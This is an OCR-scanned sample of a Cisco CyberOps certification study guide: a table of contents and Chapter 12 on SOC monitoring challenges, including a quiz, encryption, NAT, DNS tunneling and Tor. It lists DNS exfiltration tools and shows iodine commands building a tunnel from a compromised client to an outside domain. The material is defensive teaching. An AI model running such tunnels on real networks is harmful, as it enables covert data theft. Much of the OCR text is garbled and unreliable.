FFFFF

Official Cert Guide

Advance your IT career with handséagn learning =

Review

Cisco CyberOps
Associate
CBROPS?2200-201

ciscopress.com Oma r Sa ntos


http://www.facebook.com/share.php?u=http://www.informIT.com/title/9780136807827
http://twitter.com/?status=RT: download a free sample chapter http://www.informit.com/title/9780136807827
https://plusone.google.com/share?url=http://www.informit.com/title/9780136807827
http://www.linkedin.com/shareArticle?mini=true&url=http://www.informit.com/title/9780136807827
http://www.stumbleupon.com/submit?url=http://www.informit.com/title/9780136746911/Free-Sample-Chapter

Contents

Introduction xxvi

Chapter 1 Cybersecurity Fundamentals 2
“Do I Know This Already?” Quiz 3

Foundation Topics 8

Introduction to Cybersecurity 8

Cybersecurity vs. Information Security (Infosec) 8

The NIST Cybersecurity Framework 9

Additional NIST Guidance and Documents 9

The International Organization for Standardization é

Threats, Vulnerabilities, and Exploits 10

What Is a Threat? 10
What Is a Vulnerability? 11

What Is an Exploit? 13

Risk, Assets, Threats, and Vulnerabi@
Threat Actors 17

Threat Intelligence 17

Threat Intelligenc at@ 19
Vulnerabilities, E Exploit Kits 20

22
al Brute-Force Attacks and Password Cracking 23
Session Hijacking 24
Defaulr Credentials 24
Insecure Direct Object Reference Vulnerabilities 24
Cross-Site Scripting 25
Cross-Site Request Forgery 27
Cookie Manipulation Attacks 27
Race Conditions 27
Unprotected APIs 27
Return-to-LibC Attacks and Buffer Overflows 28
OWASP Top 10 29

Security Vulnerabilities in Open-Source Software 29



x Cisco CyberOps Associate CBROPS 200-201 Official Cert Guide

Network Security Systems 30
Traditional Firewalls 30
Packet-Filtering Techniques 31
Application Proxies 35
Network Address Translation 36
Port Address Translation 37
Static Translation 37
Stateful Inspection Firewalls 38
Demilitarized Zones 38
Firewalls Provide Network Segmentation 39

Application-Based Segmentation and Micro-segmentation 39
High Availability 40 %

Clustering Firewalls 41 @
Firewalls in the Data Center 42

Virtual Firewalls 44
Deep Packet Inspection 44 @
Next-Generation Firewalls 45

Intrusion Detection Systems and ?trusio revention Systems 46

Pattern Matching and State attern-Matching Recognition 47
Protocol Analysis 4

Heuristic-Based Ana 9

Anomaly-Bas

Global Threa ation Capabilities 50
Next-G ntrusion Prevention Systems 50
re nagement Center 50
Advan alware Protection 50

AMP for Endpoints 50
AMP for Networks 53

Web Security Appliance 54

Email Security Appliance 58

Cisco Security Management Appliance 60

Cisco Identity Services Engine 60

Security Cloud-Based Solutions 62
Cisco Cloud Email Security 62
Cisco AMP Threat Grid 62
Umbrella (OpenDNS) 63
Stealthwatch Cloud 63
CloudLock 64



Chapter 2

Cisco NetFlow 64

Data Loss Prevention 65

The Principles of the Defense-in-Depth Strategy 66

Confidentiality, Integrity, and Availability: The CIA Triad 69
Confidentiality 69
Integrity 70
Availability 70

Risk and Risk Analysis 70

Personally Identifiable Information and Protected Health Information 72
PII 72

PHI 72
Principle of Least Privilege and Separation of Duties %
Principle of Least Privilege 73
Separation of Duties 73
Security Operations Centers 74
Playbooks, Runbooks, and Runboo @on 75
Digital Forensics 76
Exam Preparation Tasks 7
Review All Key Topi 7@
Define Key Terms \

O
Review Questions 8

Introducti Cloud Computing and Cloud Security 82
“Dol is Already?” Quiz 82

dati pics 84
omputing and the Cloud Service Models 84
C ecurity Responsibility Models 86
Patch Management in the Cloud 88
Security Assessment in the Cloud 88

DevOps, Continuous Integration (CI), Continuous Delivery (CD),
and DevSecOps 88

The Agile Methodology 89

DevOps 90

CI/CD Pipelines 90

The Serverless Buzzword 92

A Quick Introduction to Containers and Docker 92

Container Management and Orchestration 94
Understanding the Different Cloud Security Threats 95

Cloud Computing Attacks 97

Contents  xi



xii  Cisco CyberOps Associate CBROPS 200-201 Official Cert Guide

Exam Preparation Tasks 99
Review All Key Topics 99
Define Key Terms 99
Review Questions 100

Chapter 3 Access Control Models 102
“Do I Know This Already?” Quiz 102
Foundation Topics 105
Information Security Principles 105
Subject and Object Definition 106

Access Control Fundamentals 107
Identification 107
Authentication 108 %
Autbentication by Knowledge 108 @
Authentication by Ownership 108
Authentication by Characteristic 10
Multifactor Authentication 109 %
Authorization 110
Accounting 110

Access Control Fundar@mary 110
Access Control Process

Asset Classificati Q

Asset Marki@

Access olicy 114
D i 114
Inf oniSecurity Roles and Responsibilities 115

Acces trol Types 117

Access Control Models 119
Discretionary Access Control 121
Mandatory Access Control 122
Role-Based Access Control 123
Attribute-Based Access Control 125

Access Control Mechanisms 127

Identity and Access Control Implementation 129
Authentication, Authorization, and Accounting Protocols 130
RADIUS 130
TACACS+ 131
Diameter 133



Chapter 4

Port-Based Access Control 135

Port Security 135

802.1x 136

Network Access Control List and Firewalling 138
VLAN Map 139

Security Group-Based ACL 139
Downloadable ACL 140

Firewalling 140

Identity Management and Profiling 140

Network Segmentation 141

Firewall DMZ 142

Cisco TrustSec 142 @

Intrusion Detection and Prevention 14
Network-Based Intrusion Detectio tion System 147
Host-Based Intrusion Detectio ention 147

Antivirus and Antimalware

Exam Preparation Tasks 1
Review All Key Topic\l
0

Nerwork Segmentation Through VLAN 141 %

Define Key Terms

Review Questions

Types of A s /ulnerabilities 152
“Dol is Already?” Quiz 152
dati pics 154
S ttacks 154
onnaissance Attacks 154
Social Engineering 160
Privilege Escalation Attacks 162
Backdoors 163
Buffer Overflows and Code Execution 163
Man-in-the Middle Attacks 165
Denial-of-Service Attacks 166
Direct DDoS 166
Botnets Participating in DDoS Attacks 167
Reflected DDoS Attacks 167
Attack Methods for Data Exfiltration 168
ARP Cache Poisoning 169

Contents  xiii



xiv Cisco CyberOps Associate CBROPS 200-201 Official Cert Guide

Chapter 5

Spoofing Attacks 170
Route Manipulation Attacks 171
Password Attacks 171
Wireless Attacks 172
Types of Vulnerabilities 172
Exam Preparation Tasks 174
Review All Key Topics 174
Define Key Terms 175

Review Questions 175

Fundamentals of Cryptography and Public Key Infrastructure
(PKI) 178
“Do I Know This Already?” Quiz 178 6

Foundation Topics 182 @

Cryptography 182
Ciphers and Keys 182
Ciphers 182 @
Keys 183

Key Management 183
Block and Stream Clphers

Block Ciphers
Stream Ciphers Q
Symmetric and lgorithms 184
Symmem 184

orithms 185

Qu Cryptography 187

More Encryption Types 187

One-Time Pad 187

PGP 188

Pseudorandom Number Generators 189
Hashes 189

Hashed Message Authentication Code 191
Digital Signatures 192

Digital Signatures in Action 192
Next-Generation Encryption Protocols 195



IPsec and SSL/TLS 196
Psec 196
Secure Sockets Layer and Transport Layer Security 196
SSH 198
Fundamentals of PKI 199
Public and Private Key Pairs 199
RSA Algorithm, the Keys, and Digital Certificates 199
Certificate Authorities 200
Root and Identity Certificates 202
Root Certificate 202

Identity Certificates 204

X.500 and X.509v3 204 %
Authenticating and Enrolling with the CA 2@
Public Key Cryptography Standards 2

Simple Certificate Enrollment Proto
Revoking Digital Certificates 207 %
Using Digital Certificates 207

PKI Topologies 208

Single Root CA
Hierarchical CA

stions 210

Chapter 6 ction to Virtual Private Networks (VPNs) 212
“Do I Know This Already?” Quiz 212
Foundation Topics 214
What Are VPNs? 214
Site-to-Site vs. Remote-Access VPNs 215
An Overview of IPsec 216
IKEv1 Phase 1 217
IKEv1 Phase 2 220
IKEv2 222
SSL VPNs 225
SSL VPN Design Considerations 227
User Connectivity 228
VPN Device Feature Set 228

Contents  xv



xvi  Cisco CyberOps Associate CBROPS 200-201 Official Cert Guide

Infrastructure Planning 228

Implementation Scope 228
Exam Preparation Tasks 229
Review All Key Topics 229
Define Key Terms 229

Review Questions 230

Chapter 7 Introduction to Security Operations Management 232

“Do I Know This Already?” Quiz 232

Foundation Topics 235

Introduction to Identity and Access Management 235
Phases of the Identity and Access Life Cycle 235
Registration and Identiry Validation 236 %
Privileges Provisioning 236 @
Access Review 236
Access Revocation 236 %
Password Management 236
Password Creation 237
Mulrifacror Authentication
Password Srorage and @1011 240
Password Reset
Password Sync n 240

Directory M.
Smgle

O 246
Sec Assertion Markup Language 247

OAuth 249
OpenlD Connect 251
Security Events and Log Management 251
Log Collection, Analysis, and Disposal 251
Syslog 253
Security Information and Event Manager 255
Security Orchestration, Automation, and Response (SOAR) 257
SOC Case Management (Ticketing) Systems 257
Asset Management 257
Asset Inventory 258
Asset Ownership 259



Chapter 8

Asset Acceptable Use and Return Policies 259
Asset Classification 260
Asset Labeling 260
Asset and Information Handling 260
Media Management 260
Introduction to Enterprise Mobility Management 261
Mobile Device Management 263
Cisco BYOD Architecture 264
Cisco ISE and MDM Integration 266
Cisco Meraki Enterprise Mobility Management 267
Configuration and Change Management 268
Configuration Management 268 %
Planning 269
Identifying and Implementing the Con 270
Controlling the Configuration Cha
Monitoring 270 %
Change Management 270
Vulnerability Management _273

Vulnerability Identifical 73
Finding Informati our a Vulnerability 274

Vulnerabilit 76
] thical Hacking Assessments) 277

Vu@ Analysis and Prioritization 282
ility Remediation 286

Patc anagement 287

Exam Preparation Tasks 291
Review All Key Topics 291
Define Key Terms 292

Review Questions 292

Fundamentals of Intrusion Analysis 294
“Do I Know This Already?” Quiz 294
Foundation Topics 299

Introduction to Incident Response 299

The Incident Response Plan 301

Contents  xvii



xviii  Cisco CyberOps Associate CBROPS 200-201 Official Cert Guide

Chapter 9

The Incident Response Process 302
The Preparation Phase 302
The Detection and Analysis Phase 302
Containment, Eradication, and Recovery 303
Post-Incident Activity (Postmortem) 304

Information Sharing and Coordination 304

Incident Response Team Structure 307
Computer Security Incident Response Teams 307
Product Security Incident Response Teams 309
Security Vulnerabilities and Their Severiry 310
Vulnerability Chaining Role in Fixing Prioritization 312
How to Fix Theoretical Vulnerabilities 313
Internally Versus Externally Found Vulnerabilit

National CSIRTs and Computer Emergency R eams 314

Coordination Centers 315
Incident Response Providers and Ma @rity Service Providers
(MSSPs) 315
Common Artifact Elements and Sources ecurity Events 316

The 5-Tuple 317
File Hashes 320

Review All Key Topics 335
Define Key Terms 336

Review Questions 336

Introduction to Digital Forensics 338
“Do I Know This Already?” Quiz 338
Foundation Topics 341
Introduction to Digital Forensics 341
The Role of Attribution in a Cybersecurity Investigation 342
The Use of Digital Evidence 342
Defining Digital Forensic Evidence 343

Understanding Best, Corroborating, and Indirect or Circumstantial
Evidence 343



Chapter 10

Collecting Evidence from Endpoints and Servers 344

Using Encryption 345

Analyzing Metadata 345

Analyzing Deleted Files 346

Collecting Evidence from Mobile Devices 346

Collecting Evidence from Network Infrastructure Devices 346
Evidentiary Chain of Custody 348
Reverse Engineering 351
Fundamentals of Microsoft Windows Forensics 353

Processes, Threads, and Services 353

Memory Management 356

Windows Registry 357 %
The Windows File System 359 @
Master Boor Record (MBR) 359

The Master File Table ($MFT) 36

Data Area and Free Space 360 %
FAT 360

NTFS 361

MFT 361 @

Timestamps, \ Iternate Data Streams 361
EFI 362 Q

Fundamenta @ orensics 362

Linux P

g 366
inftrx MBR and Swap File System 366

Exam Preparation Tasks 367

Review All Key Topics 367

Define Key Terms 368

Review Questions 368

Network Infrastructure Device Telemetry and Analysis 370
“Do I Know This Already?” Quiz 370
Foundation Topics 373
Network Infrastructure Logs 373
Network Time Protocol and Why It Is Important 374
Configuring Syslog in a Cisco Router or Switch 376

Contents  xix



xx  Cisco CyberOps Associate CBROPS 200-201 Official Cert Guide

Traditional Firewall Logs 378

Console Logging 378

Terminal Logging 379

ASDM Logging 379

Email Logging 379

Syslog Server Logging 379

SNMP Trap Logging 379

Buffered Logging 379

Configuring Logging on the Cisco ASA 379
Syslog in Large-Scale Environments 381

Splunk 381

Graylog 381 6

Elasticsearch, Logstash, and Kibana (ELK) Stack Q
Next-Generation Firewall and Next-Generation

NetFlow Analysis 395
What Is a Flow in NetFlow? 399 @
The NetFlow Cache 400
NetFlow Versions 401

IPFIX 402 @
IPFIX Architecture Q

85

IPFIX Mediators
IPFIX Templa
Commercial NetFlow Analysis Tools 404
tFlow Analysis Tools 408
ytics for Cybersecurity Network Telemetry 411
plication Visibility and Control (AVC) 413
Network Packet Capture 414
tcpdump 415
Wireshark 417
Network Profiling 418
Throughput 419
Measuring Throughput 421
Used Ports 423
Session Duration 424
Critical Asset Address Space 424
Exam Preparation Tasks 427
Review All Key Topics 427




Chapter 11

Define Key Terms 427
Review Questions 427

Endpoint Telemetry and Analysis 430
“Do I Know This Already?” Quiz 430
Foundation Topics 435
Understanding Host Telemetry 435

Logs from User Endpoints 435

Logs from Servers 440
Host Profiling 441

Listening Ports 441

Logged-in Users/Service Accounts 445
Running Processes 448

Applications Identification 450 @

Analyzing Windows Endpoints 454
Windows Processes and Threads
Memory Allocation 456

The Windows Registry 458

Windows Management umentagion 460
Handles 462 \
Services 463
Windows E 466
Linux and lysis 468
Pro Linux 468
or

rmissions 472
links 479
Daemons 480
Linux-Based Syslog 481
Apache Access Logs 484
NGINX Logs 485
Endpoint Security Technologies 486

Antimalware and Antivirus Software 486

Host-Based Firewalls and Host-Based Intrusion Prevention 488

Application-Level Whitelisting and Blacklisting 490
System-Based Sandboxing 491

Sandboxes in the Context of Incident Response 493

Contents  xxi



xxii - Cisco CyberOps Associate CBROPS 200-201 Official Cert Guide

Exam Preparation Tasks 494
Review All Key Topics 494
Define Key Terms 495

Review Questions 495

Chapter 12 Challenges in the Security Operations Center (SOC) 496
“Do I Know This Already?” Quiz 496
Foundation Topics 499
Security Monitoring Challenges in the SOC 499
Security Monitoring and Encryption 500
Security Monitoring and Network Address Translation 501
Security Monitoring and Event Correlation Time Sync ization 502
DNS Tunneling and Other Exfiltration Methods l@
Security Monitoring and Tor 504
Security Monitoring and Peer-to-Peer Comm ion 505
Additional Evasion and Obfuscation Techni
Resource Exhaustion 508 %
Traffic Fragmentation 509
Protocol-Level Misinterpretapi 510

Traffic Timing, Substitu @lsertion 511
Pivoting 512
Exam Preparation T;

1

Review All Key s
Define Key Jesmsy, 5

ReviewaQu @ 517
T

he of Data and Event Analysis 520
“Do I Know This Already?” Quiz 520
Foundation Topics 522

Chapter 13

Normalizing Data 522
Interpreting Common Data Values into a Universal Format 523
Using the 5-Tuple Correlation to Respond to Security Incidents 523
Using Retrospective Analysis and Identifying Malicious Files 525
Identifying a Malicious File 526
Mapping Threat Intelligence with DNS and Other Artifacts 527
Using Deterministic Versus Probabilistic Analysis 527
Exam Preparation Tasks 528



Chapter 14

Chapter 15

Review All Key Topics 528
Define Key Terms 528

Review Questions 528

Classifying Intrusion Events into Categories 530
“Do I Know This Already?” Quiz 530
Foundation Topics 532
Diamond Model of Intrusion 532
Cyber Kill Chain Model 539
Reconnaissance 540

Weaponization 543

Delivery 544

Exploitation 545 %
Installation 545 @

Command and Control 546
Action on Objectives 547 @
The Kill Chain vs. MITRE’s ATT&
Exam Preparation Tasks 550
Review All Key Topics 5
Define Key Terms 5 @

Review Questions

Introduction Hunting 552
“Do I Kno Iready?” Quiz 552
Found ics 554

at Is at Hunting? 554

hreat Hunting vs. Traditional SOC Operations vs. Vulnerability
anagement 555

The Threat-Hunting Process 556
Threat-Hunting Maturity Levels 557
Threat Hunting and MITRE’s ATT&CK 558
Automated Adversarial Emulation 563
Threat-Hunting Case Study 567
Threat Hunting, Honeypots, Honeynets, and Active Defense 571
Exam Preparation Tasks 571
Review All Key Topics 571
Define Key Terms 572

Review Questions 572

Contents  xxiii



xxiv  Cisco CyberOps Associate CBROPS 200-201 Official Cert Guide

Chapter 16 Final Preparation 574
Hands-on Activities 574
Suggested Plan for Final Review and Study 574
Summary 575

Glossary of Key Terms 577

Appendix A Answers to the “Do | Know This Already?” Quizzes and Review
Questions 592

Appendix B Understanding Cisco Cybersecurity Operations Fundamentals
CBROPS 200-201 Exam Updates 614

Index 616
Online Elements 6
Appendix C  Study Planner @
Glossary of Key Terms @



CHAPTER 12

Challenges in the Security
Operations Center (SOC)

This chapter covers the following topics:
Security Monitoring Challenges in the SOC

Additional Evasion and Obfuscation Techniques

There are several security monitoring operational challenges, including éncryption, Network
Address Translation (NAT), time synchronization, Tor, and pegr=te, peer’ communications.
This chapter covers these operational challenges in detail. Attackersitry to abuse system and
network vulnerabilities to accomplish something; howeveér, there'is another element that can
make or break the success of the attack. Attackers need t@ be srealthy and be able to evade
security techniques and technologies. Attackers maist comsider the amount of exposure an
attack may cause as well as the expected countermeasures if the attack is noticed by the
target’s defense measures. They need to coveFtheir tracks.

In this chapter, you learn how attackers obtain,stealth access and the tricks used to nega-
tively impact detection and forensic technolegies.

“Do | Know This Alréady?” Quiz

The “Do I Know This Already?” quiz allows you to assess whether you should read this
entire chapter thoroughl§” opjump to the “Exam Preparation Tasks” section. If you are in
doubt about youganswerg to these questions or your own assessment of your knowledge
of the topics, read theé"éntire chapter. Table 12-1 lists the major headings in this chapter and
their corresponding “D¢'I Know This Already?” quiz questions. You can find the answers in
Appendix A, “Answers to the ‘Do I Know This Already?’ Quizzes and Review Questions.”

Table 12-1 “Do | Know This Already?” Foundation Topics Section-to-Question Mapping

Foundation Topics Section Questions

Security Monitoring Challenges in the SOC 1-10

Additional Evasion and Obfuscation Techniques 11-20

1. Which of the following are benefits of encryption?
a. Malware communication
b. Privacy and confidentiality
c. Malware mitigation
d. Malware identification



Why can encryption be challenging to security monitoring?
a. Encryption introduces latency.
b. Encryption introduces additional processing requirements by the CPU.

c. Encryption can be used by threat actors as a method of evasion and obfuscation,
and security monitoring tools might not be able to inspect encrypted traffic.

d. Encryption can be used by attackers to monitor VPN tunnels.

Network Address Translation (NAT) introduces challenges in the identification and
attribution of endpoints in a security victim. The identification challenge applies to
both the victim and the attack source. What tools are available to be able to correlate
security monitoring events in environments where NAT is deployed?

a. NetFlow
b. Cisco Stealthwatch System 6
c. Intrusion prevention systems (IPS) @

d. Encryption protocols

Kiand security devices, logs
6colis recommended as a best

If the date and time are not synchronized among ne
can become almost impossible to correlate. W
practice to deploy to mitigate this issue?

a. Network Address Translation

b. Port Address Translation

c. Network Time Protocol (NT
d. Native Time Protocol (N

What is a DNS tunnel?

a. Atype of VPN t ses DNS.

b. A type of MP. oyment that uses DNS.

c. DNS was eated for tunneling, but a few tools have used it to encapsulate
datagimpth d of DNS packets.

d. A ion tunneling protocol that uses DNS’s UDP port 53.

Which of llowing are examples of DNS tunneling tools? (Select all that apply.)

a. DeNiSe

b. dns2tcp

c. DNScapy

d. DNStor

What is Tor?

a. A blockchain protocol

b. A hashing protocol

c. A VPN tunnel client

d. A free tool that enables its users to surf the Internet anonymously
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8. What is a Tor exit node?
a. The encrypted Tor network

b. The last Tor node or the gateways where the Tor-encrypted traffic exits to the
Internet

c. The Tor node that performs encryption
d. The Tor browser installed in your system to exit the Internet
9. What is a SQL injection vulnerability?

a. An input validation vulnerability where an attacker can insert or inject a SQL
query via the input data from the client to the application or database

b. A type of vulnerability where an attacker can inject a new password to a SQL
server or the client

c. A type of DoS vulnerability that can cause a SQL server to crash
d. A type of privilege escalation vulnerability aimed at SQL s%
10. Which of the following is a distributed architecture that par@ s or workloads
between peers?
a. DPeer-to-peer networking
b. P2P NetFlow
c. Equal-cost load balancing
d. None of these answers are correct.

11. Which of the following describes wh e attacker sends traffic more slowly than
normal, not exceeding threshold ns time windows the signatures use to cor-
relate different packets together?

a. Traffic insertion

b. Protocol manlpulatl
c. Traffic fragment

d. Timing atta

12. Which of ould give an IPS the most trouble?
a.
b. Encrypt

c. Throughput
d. Updates
13. In which type of attack does an IPS receive a lot of traffic/packets?
a. Resource exhaustion
b. DoS (denial of service)
c. Smoke and mirrors
d. Timing attack
14. Which of the following is not an example of traffic fragmentation?
a. Modifying routing tables
b. Modifying the TCP/IP in a way that is unexpected by security detection devices
c. Modifying IP headers to cause fragments to overlap
d. Segmenting TCP packets
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15. What is the best defense for traffic fragmentation attacks?

a. Deploying a passive security solution that monitors internal traffic for unusual
traffic and traffic fragmentation

b. Deploying a next-generation application layer firewall
c. Configuring fragmentation limits on a security solution
d. Deploying a proxy or inline security solution
16. Which of the following is a TCP-injection attack?
a. Forging a TCP packet over an HTTPS session
b. Replacing legitimate TCP traffic with forged TCP packets
c. Adding a forged TCP packet to an existing TCP session
d. Modifying the TCP/IP in a way that is unexpected by security detection
17. A traffic substitution and insertion attack does which of the following?
a. Substitutes the traffic with data in a different format but with the same meaning
b. Substitutes the payload with data in the same formaft but with a different mean-
ing, providing a new payload
c. Substitutes the payload with data in a different fermatibut with the same mean-
ing, not modifying the payload
d. Substitutes the traffic with data in the/Same fermat but with a different meaning

18. Which of the following is nor a defense againsta traffic substitution and insertion
attack?

a. De-obfuscating Unicode
b. Using Unicode instead af«ASGII
c. Adopting the format changes

e

Properly processing extended characters
19. Which of the following iSyor a defense against a pivot attack?
a. Content filtering
b. Prgper patchymanagement
c. Network segmentation
d. Access control
20. Which security technology would be best for detecting a pivot attack?
a. Virtual private network (VPN)
b. Host-based antivirus
c. NetFlow
d. Application layer firewalls

Foundation Topics
Security Monitoring Challenges in the SOC

Analysts in the security operations center (SOC) try to have complete visibility into what’s
happening in a network. However, that task is easier said than done. There are several chal-
lenges that can lead to false negatives (where you cannot detect malicious or abnormal activ-
ity in the network and systems). The following sections highlight some of these challenges.
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Security Monitoring and Encryption

Encryption has great benefits for security and privacy, but the world of incident response
and forensics can present several challenges. Even law enforcement agencies have been fasci-
nated with the dual-use nature of encryption. When protecting information and communi-
cations, encryption has numerous benefits for everyone from governments and militaries to
corporations and individuals.

On the other hand, those same mechanisms can be used by threat actors as a method of
evasion and obfuscation. Historically, even governments have tried to regulate the use and
exportation of encryption technologies. A good example is the Wassenaar Arrangement,
which is a multinational agreement with the goal of regulating the export of technologies
like encryption.

Other examples include events around law enforcement agencies such as the U.S. Federal
Bureau of Investigation (FBI) trying to force vendors to leave certain inyeStigative techniques
in their software and devices. Some folks have bought into the idea of “eficrypt everything.”
However, encrypting everything would have very serious consequénces, 16t only for law
enforcement agencies, but also for incident response professionals:§omething to remember
about the concept of “encrypt everything” is that the deployimentjef end-to-end encryption
is difficult and can leave unencrypted data at risk of attaeke

Many security products (including next-generation IRSs and mext-generation firewalls) can
intercept, decrypt, inspect, and re-encrypt or everignorg encrypted traffic payloads. Some
people consider this a man-in-the-middle (MITM) mattet and have many privacy concerns.
On the other hand, you can still use metadafa ffom network traffic and other security event
sources to investigate and solve securityaissu€s. You can obtain a lot of good information
by leveraging NetFlow, firewall logs, web proxy logs, user authentication information, and
even passive DNS (pDNS) data. In seme cases, the combination of these logs can make the
encrypted contents of malware payiloads“and other traffic irrelevant. Of course, this is as
long as you can detect their tfaffic patteris to be able to remediate an incident.

It is a fact that you needgf®ydealwith encrypted data, whether in transit or “at rest” on an
endpoint or serverslf youdeploy web proxies, you'll need to assess the feasibility in your
environment of (MITMssecure HTTP connections.

L~ 4

TIP It is important to recognize that from a security monitoring perspective, it’s techni-
cally possible to monitor some encrypted communications. However, from a policy perspec-
tive, it’s an especially different task depending on your geographical location and local laws
around privacy. Cisco has a technology that allows you to detect malicious activity even if
the communication is being encrypted. That technology is called Encrypted Traffic Ana-
lytics (ETA), and it is integrated into the Stealthwatch and Cognitive Security solution, as
shown in Figure 12-1.



Key

Chapter 12: Challenges in the Security Operations Center (SOC)

Cognitive Threat Analytics
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Figure 12-1 Encrypted Traffic Analytics

ion
d Analysis,” you learned that
Network Address Translation
host’s private (or real) IP addresses to
I, the firewall hides the internal private

a publicly routable (or mapped) address. ing

addresses from the unprotected net\ poses only its own address or public range.
O
C

Security Monitoring and Network Addre
In Chapter 10, “Network Infrastructure Device Tele
Layer 3 devices, such as routers and firewalls,
(NAT). The router or firewall “translates” the “inte

This enables a network professiona e IP address space as the internal network. A
s% s that are reserved for private use (see RFC 1918,
nets”).

best practice is to use the addre
“Address Allocation for Priv

NOTE Cisco uses th logy of real and mapped IP addresses when describing NAT.
The real IP address,is @CSS that is configured on the host before it is translated. The
mapped IP address. i dress that the real address is translated to.

Static NAT allows connections to be initiated bidirectionally, meaning both to the host and
from the host.

NAT can present a challenge when you're performing security monitoring and analyzing logs,
NetFlow, and other data, because device IP addresses can be seen in the logs as the “trans-
lated” IP address versus the “real” IP address. In the case of Port Address Translation (PAT),
this could become even more problematic because many different hosts can be translated to
a single address, making the correlation almost impossible to achieve.

Security products, such as the Cisco Stealthwatch system, provide features that can be
used to correlate and “map” translated IP addresses with NetFlow. This feature in the Cisco
Stealthwatch system is called NAT sritching. This accelerates incident response tasks and
eases continuous security monitoring operations.

501
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Security Monitoring and Event Correlation Time Synchronization
Server and endpoint logs, NetFlow, syslog data, and any other security monitoring data are
useless if they show the wrong date and time. This is why as a best practice you should con-
figure all network devices to use Network Time Protocol (NTP). Using NTP ensures that the
correct time is set and all devices within the network are synchronized. Also, another best
practice is to try to reduce the number of duplicate logs. This is why you have to think and
plan ahead as to where exactly you will deploy NetFlow, how you will correlate it with other
events (like syslog), and so on.

DNS Tunneling and Other Exfiltration Methods
Threat actors have been using many different nontraditional techniques to steal data from
corporate networks without being detected. For example, they have been sending stolen
credit card data, intellectual property, and confidential documents over DNS using tunnel-
ing. As you probably know, DNS is a protocol that enables systems to reselve domain names
(for example, cisco.com) into IP addresses (for example, 72.163.4.161). BDNS'is not intended
for a command channel or even tunneling. However, attackers havefdevelopéd software that
enables tunneling over DNS. These threat actors like to use protocels that traditionally are
not designed for data transfer because they are less inspected in terms of security monitor-
ing. Undetected DNS tunneling (otherwise known as DNSwexfiltzarion) represents a signifi-
cant risk to any organization.

In many cases, malware can use Base64 encoding ¢0 putisensitive data (such as credit card
numbers, personal identifiable information [PII], and%e<on) in the payload of DNS packets to
cyber criminals. The following are some examiples of eneoding methods that could be used
by attackers:

m Base64 encoding
m Binary (8-bit) encoding
m NetBIOS encoding

m Hex encoding

Several utilities have been created to perform DNS tunneling (for the good and also for the
bad). The followingearé'a few examples:

m DeNiSe: This Python tool is used for tunneling TCP over DNS.

m dns2tcp: Written by Olivier Dembour and Nicolas Collignon in C, this tool supports
KEY and TXT request types.

m DNScapy: Created by Pierre Bienaimé, this Python-based Scapy tool for packet gen-
eration even supports SSH tunneling over DNS, including a SOCKS proxy.

m DNScat or DNScat-P: This Java-based tool created by Tadeusz Pietraszek supports
bidirectional communication through DNS.

m DNScat (DNScat-B): Written by Ron Bowes, this tool runs on Linux, Mac OS X, and
Windows. DNScat encodes DNS requests in NetBIOS encoding or hex encoding.

m Heyoka: This tool, written in C, supports bidirectional tunneling for data exfiltration.
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m lodine: Written by Bjorn Andersson and Erik Ekman in C, this tool runs on Linux,
Mac OS X, and Windows, and can even be ported to Android.

m Nameserver Transfer Protocol (NSTX): This tool creates IP tunnels using DNS.

® OzymanDNS: Written in Perl by Dan Kaminsky, this tool is used to set up an SSH
tunnel over DNS or for file transfer. The requests are Base32 encoded, and responses
are Base64-encoded TXT records.

m psudp: Developed by Kenton Born, this tool injects data into existing DNS requests
by modifying the IP/UDP lengths.

m Feederbot and Moto: Attackers have used this malware using DNS to steal sensitive
information from many organizations.

Some of these tools were not created with the intent of stealing datagbut cyber criminals
have used them for their own purposes.

The examples in Figure 12-2 and Figure 12-3 demonstrate how(DNS ffunneling can be
achieved with the Iodine tool. Figure 12-2 shows the Iodine"segvemlistening for any connec-
tions from clients using DNS resolution for the domain h4¢ker.org.

oee c of = 0.1.1.1 hdcker.o
KW »-~
iodined -f -c -P somepassword 10.1.1.1 hdcker.org

> iodined -f -c -P somepassword 18.1.1.1 hdcker.org

Opened dns@

Setting IP of dns® to 10.1.1.1

Setting MTU of dns@ to 113@

Opened IPv4 UDP socket

Listening to dns for domain hdcker.org

Figure 12-2 Jodine DNS Tunneling Server

Figure 12-3 shows the Iodine client (assume that this is a compromised system). The client
successfully established a connection to the Iodine server. The 192.168.88.207 IP address is
the address configured in the network interface card (NIC) of the server. The 10.1.1.1 is the IP
address used by Iodine to communicate with the clients over the tunnel. In this example, the
client IP address is 10.1.1.2, and the server tunnel IP address is 10.1.1.1. All data is now sent
over the DNS tunnel, and the domain h4cker.org is used for DNS resolution.
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» iodine -f -P somep vord 192.168.88.207 hdcker.org
Opened dns@

Opened IPv4 UDP socket

Sending DNS queries for hd4cker.org to 192.168.88.287
Autodetecting DNS query type (use -T to override)
Using DNS type NULL queries

Version ok, both using prot | v Bx@0800502. You are user #@
Setting IP of dns@ to 10.1.1.2

Setting MTU of dns@® to 1130

Server tunnel IP is 10.1.1.1

Testing raw UDP data to the server (skip with -r)
Server is at 192,168.88.207, trying raw login: OK
Sending raw traffic directly to 192.168.88.207

Connection setup complete, transmitting data.

Figure 12-3 Ilodine DNS Tunneling Client

Security Monitoring and Tor
Many people use tools such as Tor for priva€y. Jor is a free tool that enables its users to surf
the web anonymously. Tor works by routingdP traffic through a free, worldwide network
consisting of thousands of Tor relays,Fhemit constantly changes the way it routes traffic to
obscure a user’s location from anyofie monitoring the network.

NOTE Tor is an acronym of‘the software project’s original name, “The Onion Router.”

The use of Tor al§o make§ security monitoring and incident response more difficult because
it’s hard to attributefanditrace back the traffic to the user. Different types of malware are
known to use Tor te.c@ver their tracks.

This “onion routing” is accomplished by encrypting the application layer of a communica-
tion protocol stack that’s nested just like the layers of an onion. The Tor client encrypts the
data multiple times and sends it through a network or circuit that includes randomly selected
Tor relays. Each of the relays decrypts a layer of the onion to reveal only the next relay so
that the remaining encrypted data can be routed on to it.

Figure 12-4 shows the Tor browser. You can see the Tor circuit when the user accessed
h4cker.org from the Tor browser. The packets first went to a host in the Netherlands, then to
hosts in Norway and Germany, and finally to h4cker.org.

A Tor exit node is basically the last Tor node or the gateway where the Tor encrypted traffic
exits to the Internet. A Tor exit node can be targeted to monitor Tor traffic. Many organiza-
tions block Tor exit nodes in their environment. The Tor project has a dynamic list of Tor
exit nodes that makes this task a bit easier. This Tor exit node list can be downloaded from
https://check.torproject.org/exit-addresses.
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Héckar Tha Art of Hacking - 0 % =+
hdcker.org { [E]

Site Information for hdcker.org

JAOH  [-=:] Live Training GitHub Repo

Cennection

QE, Tor Circuit
This browser
Netherlands 12
Morway

